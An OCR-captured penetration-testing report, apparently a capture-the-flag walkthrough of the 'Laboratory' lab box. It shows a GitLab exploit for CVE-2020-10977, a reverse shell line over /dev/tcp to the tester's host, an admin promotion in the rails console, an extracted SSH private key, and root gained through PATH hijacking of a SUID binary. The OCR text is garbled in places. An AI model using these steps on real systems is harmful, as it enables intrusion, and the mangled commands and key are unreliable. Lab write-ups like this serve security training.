1/18/22, 3:07 PM Host Report - PenTest. WS

Host Report
10.10.10.216 - Linux 4.15 - 5.6

A Linux EEServer - Shelled - Owned

Host Notes:

dexter@laboratory:~$ cat user.txt
992dca86fc8f873dac6b9cbe119d52¢c2

root@laboratory:~# cat /root/root.txt
750e11d55d244695477b3e72272ddd36

Ports:
Port Proto Service Version Status
22 tcp ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; Owned
protocol 2.0)
Port Notes:

Use that private key to SSH into this target.
ssh -i id_rsa dexter@10.10.10.216

dexter@laboratory:~$ cat user.txt
992dca86fc8f873da66b9cbe119d52¢c2

Checking dexter's privileges, we see he owns docker-security.
find / -perm -4000 -type f -exec Is -la {} 2>/dev/null \; | grep dexter

dexteralaboratory:~$ find / -perm -4000 -type f -exec 1s -la {} 2>/dev/null \; | grep dexter
-rwsr-Xr-x 1 root 16720 Aug 28 2020 /usr/local/bin/docker-security

dexteralaboratory:~$ ||

Check what the binary can do. It runs a chmod. Hijack that with

echo "/bin/bash" > chmod
chmod 777 chmod
export PATH=/home/dexter:$PATH
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Port Proto Service Version

/usr/local/bin/docker-security

root@laboratory:~# cat /root/root.txt
750e11d55d244695477b3e72272ddd36

dexteralaboratory:

echo "/bin/bésh" > chmod

$
dexter@laboratory:~$ chmod 777 chmod
$

dexte Laboratory:

export PATH=/home/dexter:$PATH

dexteralaboratory: /usr/local/bin/docker-security
rootalaboratory:~# whoami

root

rootalaboratory:~# hostnme

Command 'hostnme' not found, did you mean:

command 'hostname' from deb hostname (3.23)

Try:

apt install <deb name>

rootalaboratory:~# hostname
laboratory
rootalaboratory:~# ifconfig

Command 'ifconfig' not found, but can be installed with:

apt install net-tools

rootalaboratory:~# ip a

1:

lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gqdisc noqueue state UNKNOWN group default glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_1ft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc mg state UP group default glen 1000
link/ether 00:50:56:b9:99:d9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.216/24 brd 10.10.10.255 scope global ens160
valid_1ft forever preferred_1ft forever
inet6 fe80::250:56ff:feb9:99d9/64 scope link
valid_1ft forever preferred_1ft forever
docker®: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc noqueue state UP group default
link/ether ©2:42:6a:15:6a:59 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker®
valid_1ft forever preferred_lft forever
inet6 feB80::42:6aff:fel5:6a59/64 scope link
valid_1ft forever preferred_lft forever

Status

vethb3faef2@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker® state UP group default

link/ether ae:8a:2f:fb:96:08 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::ac8a:2fff:fefb:9608/64 scope link
valid_1ft forever preferred 1ft forever

root@laboratory:~# cat /root/root.txt
750e11d55d244695477b3e72272ddd36
rootalaboratory:~# |j

53

67

68

69

80

udp domain

udp dhcps

udp dhcpc
udp tftp
tcp http Apache httpd 2.4.41
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Port Proto Service Version Status

Port Notes:

Add 10.10.10.216 git.laboratory.htb laboratory.htb to /etc/hosts
Everything redirects to HTTPS TCP 443

TRANSFERRING TO HTTPS TCP 443

123 udp ntp
135 udp msrpc
137 udp netbios-ns

138 udp netbios-
dgm

139 udp netbios-
ssn

161 udp snmp
162 udp snmptrap
443 tcp http Apache httpd 2.4.41 ((Ubuntu)) Owned

Port Notes:

—(kali%kali)-[~/Desktop/HTB/Laboratory]

L—$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/common.txt -k -u
https://laboratory.htb 1 %

Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: https://laboratory.htb

[+] Method: GET

[+] Threads: 10

[+] Wordlist: lusr/share/seclists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Timeout: 10s

/.htaccess (Status: 403) [Size: 280]
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Port Proto Service Version Status
/.hta (Status: 403) [Size: 280]

/.htpasswd (Status: 403) [Size: 280]

/assets (Status: 301) [Size: 319] [--> https://laboratory.htb/assets/]

/images (Status: 301) [Size: 319] [--> https://laboratory.htb/images/]

/index.html (Status: 200) [Size: 7254]

/server-status (Status: 403) [Size: 280]

Gobuster gave us nothing useful. Navigation to git.laboratory.htb provides us with a GitLab
signup page.

The Laboratory x & Sign in - GitLab x -+

< C @ D A& htt laboratory.htb

KaliLinux &8 KaliTools < KaliDocs M Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB OffSec

The Laboratory

THE LABORATORY

OUR SERVICES
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Port Proto Service Version Status

4# Signin - GitLab X =}

O & ht laboratory.htb

aliDocs X Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

GitLab Community Edition

Open source software to collaborate on code Signin Fteciitar

e reviews and enhance collaboration with merge Username or email

Password

Forgot your password?

[CJ Remember me

Scrolling to the very bottom of the GitLab login, we can see an explore and about buttons that
will let us look around without logging in, but everything we need to do requires a login.
Register for a login.

Full Name: Neocount Phoenix

Username: Neocount

Email: neocount@laboratory.htb

Email confirmation: neocount@laboratory.htb
Password: <randomly generated>

&b GitLab Projects~ Groups~ More~ Lb 0 v | Searchorjumpto a o n g - @-

ojects 0 Starred projects 0 Explore projects F Last updated
All Vrs\b\(i:y Any
5 Dotervereren searsmeite © *0 ¥o no 0

unhackable HTML&CSS

GitLab Community Edition Version
GitLab Community Edition 12.8.1
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Port Proto Service Version Status

12.8.1 - Vulnerable to CVE-2020-10977 - Exploit Script found - git clone
https://github.com/dotPY-hax/gitlab_RCE

python3 gitlab_rce.py https://git.laboratory.htb <YOUR TUNO IP>

Pick Option 2, but be warned, the Ruby shell is INSANELY unstable so have another listener
ready and use a bash statement to swap over.

/bin/bash -c 'bash -i >& /dev/tcp/<YOUR TUNO IP>/1337 0>&1'
git@git:/$ gitlab-rails console

user = User.find_by(id: 5)

user = User.find_by(id: 5)

#<User id:5 @Neocount>

user.admin = TRUE

user.saveluser.admin = TRUE

(irb):23: warning: constant ::TRUE is deprecated
true

user.savel!

We can find our ID by looking at the Profile tab.
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Port Proto Service

Edit Profile

Public Avatar

You can upload your avatar here

Current status

This emoji and message will appear on your

profile and throughout the interface

Main settings

This information will appear on your profile

Host Report - PenTest. WS

Version

Upload new avatar

Choose file... No file chosen

Your status

® t L x

Full name

Neocount Phoenix

Role

Select your role ~

Email

neocount@laboratory.htb

Public email

Do not show on profile

Commit email

neocount@laboratory.htb

User ID

5

Learn more

Status

Once an Admin, refreshing the GitLab page reveals a "SecureDocker" Project that contains
Dexter's OpenSSH Private Key
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Port Proto Service Version Status
Projects
Your projects 4  Starred projects 0 Explore projects
All Moststars Trending
P Neocount Phoenix / ProjectTwe @& = Mantainer
P Neocount Phoenix [ ProjectOne & Maintainer
P Neocount Phoenix / Project2 & Maintainer
P Neocount Phoenix / Project1 & Maintaines
S Dexter McPherson / SecureWebsite U
1009% unhackable HTML&CTSS based website
S Dexter McPherson [ SecureDocker &
CONFIDENTIAL - Secure docker configuration for homeserver. Also some personal stuff, I'll figure that out later.
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Port Proto Service Version

S  SecureDocker

1 Project overview master

B Repository

Files L

Commits

Host Report - PenTest.WS

Dexter McPherson SecureDocker Repository

securedocker | dexter / .ssh / id_rsa

Initial commit
Dexter McPherson authored 1year ago

B id_rsazsaks [@

Branches
Tags

Contributors

Graph

Compare
¥ issues 0
11 Merge Requests o
2 cl]cb

@ Operations _
Lt Analytics

00 wiki

X% Snippets

L} Settings

----- BEGIN OPENSSH PRIVATE KEY-----

b3BlbnNzaClrZXktdjEAAAAABGS vbmUAAAAEDMIUZOAAAAAAAAABAAABLWAAAAdZc2gtcn
NhAAAAAWEAADAAAYEASZ D) 3ASAbSYS3Mw] sDB+5IvnelUs+yI27VuDD7P21odSfNUgCCt
0SE+v8sPNaB/xFOCVgQHtnhnWebndxXWHwb34UTodq6g2n01lvt0Q9ITxSevDScM/ctI6hd
2dFBhs+BcW9uSx0wlFR4bD7OE+tvIBM3WoWgwpXvguP2uZF4SUNWK /Bds9TxYW6C 1WkACBZ
25M7HELXF1WuXU/2jnw29bzgz04pIPVMHUXXVWNB393jATgQLNp59uQDBUicXewmp /SISLr
OPQSKDrEYAnIJMB4 f9RNdybC6EVMXs5gS9fod4LGyhSAUFtT10] qy0Y luwLGWpL4jcDxKifuC
MPLf5gpSQHvwO fg6/hF4SpgM41iXDGY7 pS2wedKek3hPODqQtEvuxCa7wpn3I1tKsNmagnX
dgB3kIq5aEbGSESbYTAUvh45gw2gkel+3Ts0zWVowsalqSkCyDmax0fgBBfcPkkKfiig9Kn
NKsndXIHOrgeQLLlPJAC/ZGhs JWSRGAG rPyo fXY rvAAAFiDmACTIYSuAIGAAAABINZAClyc2
EAAAGBALGXwAOWENW+WEtzMITA/PuSb53pVLPsiNulbgw+z9taHUnzVIAgraEhPr/LDzWg
TBRdAlakB7Z4Z1nup3cV1hB8GI+FE6HauoNpzpb7TKkPSEBUN rwBnDP3LS00eNnROYbPVHFV
bksTsJRUeG+OBPrb9wTN1gFoMKV74L ] 29rmReELDViv/HbPUSWFugtVpAAVGduTOXx7S139V
ri1P9o58NvWB4AMzUKST7zB1IMV1cD TN/ YWE4EITae TbkAWVInF3s3qf+SUi6zjOEpAGXGAD
yTAeH/UTXcmwuhl 51 7IEvX60CxsoUglhbU9To6s jmNbsCx1gS+I3A8Son7gjDy3+YKUKRT
BNH6uv4ReEqaj0Ilwxm06edsHICnpNAT9A6KLRL7 sQmuBKZ9yNbS rDZmol 13agd5CKuWhG
xKhEmZEwFL4eO0YMNOINIft87Ds11laMLGiauZAsg5uMdH4PAX3D51Cnd4ovSpzSri3VyBoKa
NEJZT4wAv2RobIlkkRuPazB8gH12K7wAAAAMBAAEAAAGAHSSDPBCL19A/VZztmmRwMYIgLrS
L+4vfesmL+7MKGpIUAfFP+5MHq3kpRID3xuHGOBtUbQ1j r3jDPABKGOpPDpgI72mWItjB1F
KVMbWDG7ByYBU3 /ZCxeBobTyhFOXASy/oBWTX2pOUSIE /dpadVLi2hul ralwiwKéol6laqw
x1ZMH3+5t f46i+1tNO4BEcLsPIb1hhHPWVQh10Zjd/+ppwE4bA2vBGOMKp61PV/COSMYmr
ULPYA] xwOUMLfXx1iG0o]j /G8+1AXx02HDKSWOsAw3pFxblgKHMXXzMsNBgePqMz6Xj2izZqIP
jenzsJOngAeFEB/FWBgCOeCp2FmP4oLB8+SknvEUP jWM+WL,/DuBt61j8s9yqNfpqlLbl+h
1gQdZxxHeS1TCugnatdkhVUl8zZ1Bz7BIxBE7 eI tdAVMGC rMOztz9Ds rLVTBLZI ] fr29my
7icbK38MnPBbFKgB2AVDPdz16ac rKMnVEITm19InD rvWZD924 rxpFCXDDc fAWgD r2ZhAAAA
wCivUUYt2V62L6PexreXojzD6aZMm2qZk6e31i2pGlr3sL49C2qNoY9fzDj COyNdBS5TAL4
SUNAEMtgMdxY rZZAuBymwVIdXfI6x7VBs+8FCOiU2+axL+PBSEpSKEZ1K37+1Z3D1XgYgM
40YqQq39p4wiBrkEaNVuIKYFoBFTHWVCKS3Z/yONVGhPeaaQw3cAHjUv/ /KOdUKA/m/hwBT
WVAs1TASkND4sDrNOybRWhPhzLonJKhceVveoDsnunSw/vLgAAAMEAS+glm@gypock/zbc
hjTa+Eb/TA7be7s2Ep2DmsTXpKga LkXhxdSvwiWSYk+PH]@Z09BPEx90QGWO1EFhs1/pgK
vUDZO7cZPMIGL 1pXHAUYH2NywS6 j Uj2A3ewG0d300YDWS+MMS jdSgiHgYh089xX4LHT+wC
N21+RkOEv7Zb0QedBxb+4Zhw+sgwIFVdLTblQd+ILAHTkNZYyNXvOzONnMWES jMiEbIFdhXg
LOCTp45CWs7aL IwkxBPN4SIwf cGfuXAAAAWQDECykadz2tSTUBVE7ged9XvIvUYXTTMT7p
7asryuqlafYIr72iV/ir4zS4VFjLwWSAGUL/ XY rCud@0IGtOELSHMKPW/kT1KeeP fsHQHS
JPACYgVRuUNmghmkPIXp68UV3djhAZM7T5]31x FQE9NEDEYsyRELOOzTwnrTy/F74dpk/pq
XCVyIn9QMEDE4 fdpKGVF+MS/CkfE+JaNHIKOLVMr lLwBbx3At681vxUS/VeISQyolQGLlw/ fu
uJvh4tAHnotmkAAAAPcmOvdEBSYWIvemFB8b315A0IDBA=—=

-----END OPENSSH PRIVATE KEY-----

Use that private key to SSH into this target.

ssh -i id_rsa dexter@10.10.10.216

TRANSFERRING TO SSH TCP 22

445 udp microsoft-
ds

500 udp isakmp
514 udp syslog

520 udp route
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Port Proto Service Version Status
631 udp ipp

1434  udp ms-sql-m

1900 udp upnp

4500 udp nat-t-ike

49152 udp unknown
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